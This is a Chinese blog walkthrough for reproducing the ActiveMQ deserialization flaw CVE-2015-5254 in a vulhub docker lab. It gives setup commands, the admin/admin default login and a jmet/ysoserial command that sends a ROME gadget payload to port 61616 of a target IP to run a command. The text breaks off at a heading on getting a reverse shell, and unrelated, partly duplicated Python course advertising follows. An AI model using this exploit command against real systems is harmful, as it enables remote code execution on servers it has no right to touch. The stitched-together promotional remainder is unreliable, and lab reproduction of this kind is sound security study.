01 - vulhub - ActiveMq - CVE-2015-5254，讲的太清楚了

Vulhub是一个基于docker和docker-compose的漏洞环境集合，进入对应目录并执行一条语句即可启动一个全新的漏洞环境，让漏洞复现变得更加简单，让安全研究者更加专注于漏洞原理本身。

使用 vulhub 之前需搭建 docker和docker-compose 环境

下载 vulhub 环境

git clone https://github.com/vulhub/vulhub.git

进入下载好的 vulhub 路径下对应的靶机路径, 以 activemq 为例

cd /usr/local/tools/vulhub/activemq/CVE-2015-5254/

编译并启动

docker-compose build [该命令可选]

docker-compose up -d

为什么docker-compose build是可选的？

docker-compose up -d运行后，会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在，则不会再次编译；如果配置文件中包含的环境不存在，则会自动进行编译。所以，其实docker-compose up -d命令是包含了docker-compose build的。

如果更新了配置文件，你可以手工执行docker-compose build来重新编译靶场环境。

---

---

---

可以看到,ActiveMQ已经启动成功，可以通过访问 8161 端口访问 ActiveMQ。

---

---

访问 your_ip:8161/admin ，可登录。账号密码皆为 “admin”

---

---

漏洞利用

使用jmet进行漏洞利用（原理：使用集成的ysoserial生成payload并发送）。

https://github.com/matthiaskaiser/jmet/releases

---

---

下载jmet到本地,同级目录创建external目录，否则可能会报文件夹不存在的错误。

jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

利用jmet构造消息队列发送到目标服务器61616端口（这里为在目标服务器/tmp/目录创建一个success文件）

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 139.196.87.102 61616

---

---

访问web站点查看创建的消息队列是否成功，【真实环境中需要先拿到 ActiveMQ 的登录账号密码】，此处靶场账号密码为 admin/admin

---

---

---

当用户浏览事件点击该消息队列时便可触发反序列化漏洞，会在 /tmp/ 路径下 创建一个 success 文件。

此时，我们进入 docker 容器 查看漏洞是否是否利用成功。

docker exec -it daa65e212068 /bin/bash

---

---

此时，验证漏洞存在并复现完毕。

利用 ActiveMQ 反序列化漏洞 反弹 shell

---

一、Python所有方向的学习路线

Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照下面的知识点去找对应的学习资源，保证自己学得较为全面。

二、Python必备开发工具

工具都帮大家整理好了，安装就可直接上手！

三、最新Python学习笔记

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。

四、Python视频合集

观看全面零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

五、实战案例

纸上得来终觉浅，要学会跟着视频一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

六、面试宝典

简历模板

小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数初中级Python工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Python爬虫全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频

如果你觉得这些内容对你有帮助，可以添加下面V无偿领取！（备注：python）

易碰到天花板技术停滞不前！**

因此收集整理了一份《2024年Python爬虫全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频

如果你觉得这些内容对你有帮助，可以添加下面V无偿领取！（备注：python）
[外链图片转存中…(img-ZjZF4Ctv-1710951731071)]